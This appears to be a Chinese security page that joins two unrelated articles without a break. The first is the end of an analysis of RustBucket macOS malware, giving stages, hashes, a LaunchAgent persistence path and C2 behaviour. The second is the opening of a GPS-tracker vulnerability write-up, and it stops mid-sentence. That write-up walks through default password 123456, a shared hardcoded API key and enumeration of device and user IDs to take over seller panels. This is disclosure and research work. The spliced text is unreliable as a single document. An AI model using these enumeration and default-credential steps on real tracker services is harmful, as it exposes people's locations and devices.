儘管在大小和代碼構件方面存在差異，但是階段1、2的有效負載都具有從命令和控制服務器檢索階段3的共同任務。階段2有效負載需要一個特製的PDF來解鎖代碼，這將導致下載階段3，並提供一個異或密鑰來解碼附加在PDF末尾的混淆C2。
在一些變體中，這些數據是在之前的研究人員所描述的downAndExecute函數中執行的，在其他情況下，研究人員注意到下一階段的下載是在名為down_update_run函數中執行的。此函數會因示例而異。例如，在b02922869e86ad06ff6380e8ec0be8db38f5002b中，它通過system()運行硬編碼命令。
階段2通過system()調用執行shell命令來檢索並運行階段3
但是，相同的函數在其他示例中(例如，d5971e8a3e8577dbb6f5a9aad248c842a33e7a26)使用NSURL API和完全不同的邏輯。
不同示例的代碼差異很大，這可能表明開發人員不同
Elastic的研究人員進一步指出，在用Swift編寫的階段2的一個新變體中，User Agent字符串都是小寫的，而在早期的Objective-C示例中則不是。
User Agent字符串從階段2的Objective-C版本微妙地更改為Swift版本
雖然User-Agent字符串本身不區分大小寫，但如果這是一個有意的更改，則攻擊者可能正在服務器端解析User-Agent字符串，以排除對C2的不必要調用。也就是說，在RustBucket示例的其他地方(例如，階段1中的“/users/shared”)可以看到大小寫方面的粗心，並且大小寫差異可能是不同開發人員使用不同標準的結果。
在最近的示例中，在受害者的設備上執行之前，階段2檢索的有效負載在_CS_DARWIN_USER_TEMP(又名$TMPDIR，通常位於/var/folders/……/……/t /)中以“ErrorCheck.zip”的形式寫入磁盤。
階段3：新版本釋放持久性LaunchAgent到目前為止，階段3的有效負載有兩種不同的變體：
A: 182760cbe11fa0316abfb8b7b00b63f83159f5aa Stage3
B: b74702c9b82f23ebf76805f1853bc72236bee57c ErrorCheck, System Update
這兩個變體都是從Rust源代碼編譯的Mach-O通用二進製文件。變體A比變體B大得多，前者的通用二進製文件重11.84MB，而變體B的通用二進製文件重8.12MB。精簡後的新變體導入的crate要少得多，並且較少使用兩者中的sysinfo crate。值得注意的是，變體B取消了變體A中用於收集環境信息和通過查詢system_profiler的SPHardwareDataType值來檢查虛擬機中的執行情況的webT類。
webT類出現在階段3有效負載的變體A中
然而，變體B並沒有清除代碼中的所有webT構件，對缺失模塊的引用仍然可以在字符串中找到。
在階段3變體B中仍然可以找到引用缺失的webT模塊的字符串
子字符串“Trojan”在早期變體中沒有出現，它也出現在同一字符串引用的文件路徑中。
重要的是，變體B包含了一個在早期版本的RustBucket中不存在的持久機制。它採用了硬編碼的LaunchAgent的形式，它被寫入磁盤~/Library/LaunchAgents/com.apple.systemupdate.plist。 ErrorCheck文件也將自己的副本寫入~/Library/Metadata/System Update，並作為LaunchAgent的目標可執行文件。
因為階段3需要URL作為啟動參數，因此在屬性列表中提供URL作為程序參數。奇怪的是，在啟動時傳遞給ErrorCheck的URL被附加到LaunchAgent plist中的這個硬編碼URL。
RustBucket LaunchAgent將硬編碼的URL與啟動時提供的URL聯繫起來
在變體A的webT方法中發現的許多惡意軟件功能，在變體B中，現在隱藏在巨大的symm .updator:main函數中。它負責監視環境並解析啟動時接收到的參數、處理命令、收集磁盤信息等。這個龐大的函數超過22Kb，包含501個基本塊。不過經過分析，除了Elastic之前描述的功能之外，該功能還收集磁盤信息，包括主機設備的磁盤是SSD還是舊的rotational platter 類型。
updator:main的任務之一是收集磁盤信息
在收集環境信息後，惡意軟件調用symm .updator:send_request，使用以下User-Agent字符串(這次不是小寫)將數據發佈到C2：
惡意軟件將比較兩個硬編碼值0x31和0x30的響應結果
檢查來自C2的響應值
在Elastic分析的樣本中，0x31會導致惡意軟件自我終止，而0x30允許操作者在_CS_DARWIN_USER_TEMP目錄中再釋放一個有效負載。
Rust的選擇和階段3二進製文件的複雜性表明，攻擊者願意投入大量精力來阻止對有效負載的分析。由於已知的C2在進行分析時沒有響應，所以研究人員無法獲得惡意軟件下一階段的樣本，但在操作時，惡意軟件已經收集了大量的主機信息，實現了持久性，並為進一步的惡意活動打開了後門。
緩解措施SentinelOne Singularity可以保護客戶免受已知RustBucket惡意軟件組件的攻擊。在macOS設備上安裝持久性機制的嘗試也會被代理動態檢測和阻止。
SentinelOne Agent用戶界面
總結RustBucket活動說明，該攻擊者(之前的研究人員將其歸因於朝鮮的BlueNoroff APT)已經投入了大量資源，專門針對macOS用戶開發了多階段攻擊，並不斷嘗試改進，以阻止分析。
0x01 背景描述在上一篇中，我發布了對在GPS跟踪設備網絡中發現的漏洞的深入分析。自從我向製造商深圳i365披露我的發現以來，已經過去了將近9個月。但是，到目前為止，我估計仍然有超過500萬種設備仍在野外使用，這些設備會暴露兒童、老年人、物質財產的精確實時GPS坐標。
你可能想知道這樣一個非常不安全的品牌如何被全球眾多消費者所購買。我發現，這個問題比向單個設備供應商披露一個漏洞要大得多。取而代之的是，我在研究的第一部分中詳細介紹了GPS跟踪器，實際上看到了供應鏈關係網，從而使安全問題從一個供應商到下一個呈指數增長。
在這篇後續文章中，我將通過詳細介紹GPS追踪器的基礎設施並解釋製造商與供應商與消費者之間的關係，來解釋這些廉價的仿製品牌的銷售範圍。
製造商才是真正生產跟踪器電子產品的一方，而賣方則是以軟件，應用程序或云解決方案的形式出售具有附加值的設備的一方。
首先，讓我回顧一下本研究的第一部分。
GPS跟踪器具有各種品牌和型號，並且具有多種用途。通常會打廣告宣傳它們，以追踪孩子在旅途中的位置，通常採用帶有麥克風/揚聲器或照相機的手錶形狀，以便與父母進行交流。我還分析了專為汽車設計的GPS跟踪器，有些型號甚至允許黑客連接到車輛的防盜裝置，從而遠程殺死引擎。我研究了衣領形狀的寵物追踪器，具有內置緊急呼叫功能的老年人追踪器以及鑰匙圈上的通用追踪器。所有這些跟踪器的共同點是基本的操作方案（如下圖所示）以及雲API中的一組漏洞，這些漏洞可能使攻擊者能夠完全控制設備。
典型的GPS追踪器系統示意圖
為了完全掌握這個漏洞的鏈路，我需要解釋供應鏈問題的實際含義。在當今的物聯網領域，首先要把新產品推向市場，而不是花時間加強其安全性。特別是在競爭激烈且供應商不太可能投資內部構建所有產品的廉價設備領域，解決方案是使用從第三方購買的各種組件來構建產品。那就是供應鏈。這不是一個新概念，製造一直以來都是這樣，但是如今安全研究人員擔心的是，通常無法保證產品的這些組成部分是安全的，
縱觀GPS追踪器市場，許多看起來很相似，但是由不同的供應商以不同的產品名稱出售。事實是，那裡有無數的追踪器，並且全部由中國的幾家工廠生產。如今，在中國以外著名的跟踪器製造商包括：
供應商通常是那些將不同來源的這三個主要組成部分進行出售和組合的供應商。我們試圖繪製所有製造商，解決方案提供商和供應商圖，但這是一個如此廣泛的網絡，以至於無法封裝所有這些信息。為了便於說明，典型的供應鏈如下所示：
供應鏈插圖
上圖非常簡單並且可以理解，但這是一個理想的世界。在現實世界中，此架構中有許多例外。例如，雲解決方案提供商也可能直接銷售帶有應用程序和硬件的最終解決方案，或者硬件工廠從另一位開發人員那裡獲取固件。
0x02 漏洞概述我發現i365品牌的追踪器存在很多問題：
1.默認登錄憑證該特定供應商的所有跟踪器均已預先配置為默認密碼123456，這是最不安全的密碼之一。沒有要求用戶對其進行更改。
2.登錄未認證通過網絡未加密地登錄Web服務以及移動應用程序，因此任何人都可以截獲或更改。
登錄到Web門戶的截圖，允許用戶控制和監視跟踪器
3.弱密碼登錄跟踪器的用戶名也已預先配置，沒有給用戶提供選擇用戶名的選項。實際上，分配的用戶名實際上只是設備的國際移動設備識別碼（IMEI）的一部分，可以很容易地進行迭代。此外，密碼已重新設置為123456。
4.跟踪器和雲平台以純文本傳輸通過跟踪器的GPRS移動連接傳輸的數據未加密，並且缺少身份驗證。此外，跟踪器僅通過發送帶有預定義密碼的SMS純文本即可使攻擊者更改數據發送目的地的端點（IP地址和端口）。這種缺乏加密的機制使任何人都可以截取和修改通信，從而允許發生各種情況，例如數據洩漏，欺騙用戶的位置，發送惡意命令等等。
GPS跟踪器和雲服務器之間捕獲的通信
5.雲框架API不安全遵循SOAP標准通信協議的API端點存在許多問題。大多數功能不需要事先驗證，設備的唯一標識符是一個六位數的數字，可以快速瀏覽與設備相關的數據，例如GPS歷史記錄或云平台中存儲的照片。任何人都可以調用API，缺少身份驗證。
要獲取存儲的照片，只需一個設備的ID（六位數字)，密鑰是固定的
即使在這裡看到的Key 字段，它也不是通過登錄獲得的會話密鑰，實際上，該應用程序的內置密鑰已被接受。事實證明，該密鑰也由不同的供應商共享，指向一個公有云。
我提到這似乎不僅僅是一個中國供應商，這是一個更大的問題，但不幸的是，事實證明我是對的。
0x03 攻擊雲平台現在，讓我向你解釋為什麼我重新介紹了供應鏈。想像一下這種情況：有數十家GPS追踪器製造商生產了所有這些不同型號的追踪器，它們都帶有自己的固件，這些固件都具有自己的協議，因此他們要么創建自己的解決方案和應用，要么購買現成的解決方案。你會走哪條路？
因為我非常懷疑這不是一個孤立的問題，所以我在考慮從另一家製造商那裡購買汽車追踪器。
1.設備研究隨機搜索GPS跟踪器在互聯網上找到了下面這個：
TK100車載GPS追踪器
根據製造商的網頁，該跟踪器能夠切斷汽車點火裝置的電源，在點火裝置打開時發送警報，以及所有標準功能，包括麥克風和揚聲器。但是我需要為此攻擊實驗購買它嗎？我決定進行虛擬分析，以證明對這些設備和配套應用程序中的任何一個進行正確的安全評估並不難。此外，為了證明我對此設備正在使用相同的後端服務的猜測。
第一步是獲取設備的操作手冊並下載配套應用程序。在製造商的網頁上，下面引起了我的注意：
有一個Web門戶和Android app。首先看一下門戶：
由於不知道確切的IMEI或車牌號，因為我實際上沒有購買，無法登錄，但至少讓我們看看這些登錄數據是如何通過網絡傳輸的。
通過網絡以純文本形式輸入的密碼和用戶名
看一下Android應用程序
Android App
沒有發現什麼信息，於是通過apklab .io進行分析：
通過apklab.io靜態分析找到的URL字符串
通過對沒有物理設備的Android應用程序進行靜態分析，我發現了一個內置URL，該URL似乎正是我要尋找的URL，因此嘗試一下。
APK文件中URL的API
似乎很熟悉：
上一篇博文對i365的分析得出的API的截圖
好的，現在讓我們從GetDeviceDetail開始測試它們是否存在相同的漏洞：
具有常規參數的GetDeviceDetail API
使用先前應用程序中的內置密鑰並進行DeviceID猜測：
這證明所有這些跟踪器都有一個共同點：儘管這些跟踪器是由不同的製造商製造的，但似乎雲基礎架構是由同一家公司製造的。只是為了證明我的觀點，我下載了該手冊，儘管它看起來略有不同，但我得到了幫助：
你可以看到與之前的研究相同的模式，如何設置追踪器應該連接的服務器的IP地址和端口，以發送GPS數據和接收命令。
2.終極工具Google我們知道有多家供應商使用一種公有云框架，但是我們如何找到更多雲平台呢？有時候Google可以帶來豐碩的成果。我在Google上搜索了OpenAPv3.asmx，而且看起來似乎令人難以置信，我發現許多頁面的URL類似於我已經看到的格式。但是當我也發現這一點時，真是一個驚喜
允許瀏覽服務器上的目錄
任何人都可以自由瀏覽它的方式打開站點不是一個很好的標準，所幸此頁面已被刪除。但這為我提供了有關API的結構以及在那裡可以找到的內容的線索。我在這裡註意到三件事：
1.日誌目錄是可瀏覽的，這可以為我提供有關整個後端系統來自何處的更詳細的提示
2.API有多種版本，事實證明它們都在訪問相同的OpenAPIV1-V4數據。
3.ZKImages文件夾是不言自明的，包含大量GPS追踪器使用內置攝像頭拍攝的圖像
日誌目錄是引起我注意的第一件事。
如你所見，日誌是最新的
嘗試連接到數據庫時，SQL客戶端中的某些異常。但是，這裡最有價值的信息是實現框架的二進製文件的名稱。你知道信息安全領域中的所有災難都來自錯誤的代碼，糟糕的代碼通常來自程序員。因此，我決定效法這一點。除了它可能是很老的.NET二進製文件外，從二進製文件本身的名稱NewGPS2012.Logic中看不出什麼。因為之前通過Google搜到了很多信息，所以我再次嘗試了。
我對結果感到非常驚訝，發現許多Google索引的日誌目錄為我提供了幾乎免費使用相同框架的域名列表，但其中一個很特別：
是的，有人剛剛留下了框架二進製文件的更新。在分析這些二進製文件時，我學到了很多東西，但是我發現的基本要點之一是在SendCommandAPI.dll文件中，該文件有詳盡的函數列表。
很快，事實證明這是可以與GPS追踪器的所有不同製造商的所有不同型號進行通訊的通用API，整個事情就講得通了。如果你是硬件設備的製造商或供應商，則可能需要一個易於使用且兼容的雲解決方案。為了安全起見，我們不公開解決方案供應商的名稱，儘管並不難找到。
3.把所有東西都給我使用Web門戶登錄時，會將這些請求發送到包含以下內容DeviceID的API ：
一個奇怪的信息：
我們實際上沒有這些跟踪器的用戶帳戶。還記得唯一的用戶標識是IMEI或跟踪器的ID嗎？更令人擔憂的是，我有同一家公司的更多跟踪器，並且它們在響應中都具有完全相同的UserID。
進入API並深入了解它提供的OpenAPIV3.asmx功能：
試一下用戶名。所以我們只需輸入我們已經使用過多次的用戶ID和強制密鑰，就得到如下響應：
考慮到整個系統的安全性，我只是嘗試使用已經使用過很多次的密碼，這次我選擇通過“帳戶”登錄：
進入了供應商的控制面板，其中有所有已售出的跟踪器供我們使用。因此，用戶ID實際上是銷售商的用戶ID，他們向你出售了特定的跟踪器。
從這裡你可以完全控制追踪器。是的，你看對了，每頁有1026頁，10個跟踪器，讓你可以輕鬆控制10260台設備。例如，有一個重置密碼選項，你猜怎麼著，它不會要求你輸入新密碼；按下時，會將其設置為123456。
4.漏洞修復我們看到這些供應商沒有關心設備安全性。在撰寫本文時，供應商已發布了針對此bug的修復程序，但它更像是一個補丁程序。從現在開始，你將無法選擇123456密碼，並且如果已經擁有新的登錄名，則必須更改密碼123456。
好吧，事實證明這根本不是一個解決辦法，因為這些API端點未正確進行身份驗證。我們再看看OpenAPIv3.asmx API ：
它可能看起來很複雜，但實際上並不復雜。這裡更重要的是，在本例中，ID是用戶的ID，並且它也只是0-999999，這很容易枚舉。其餘的必填字段是已知的。因此，通過運行一個簡單的查詢，我們可以很容易地得到以下響應：
注意結果集的大小。通過一次查詢，您將獲得分配給特定帳戶的所有設備。當你遍歷所有可能的用戶ID時，你會得到所有的用戶和設備。從那裡你可以得到你想要的任何信息，電話號碼，位置，用戶名，在這個端點下，還有來自你汽車OBD接口的數據，以及我在上一篇文章中向你展示的所有東西。最後但並非最不重要的一點是，你可以完全控制遠程設備，打電話或從追踪器發送短信。想像一下攻擊者能做什麼。例如，招募一大群移動設備向特定號碼發送短信，或在短信投票中操縱投票。
我已經研究這些不安全的GPS設備很長時間了，努力了解問題的嚴重性。到目前為止，我已經確定了30多個在互聯網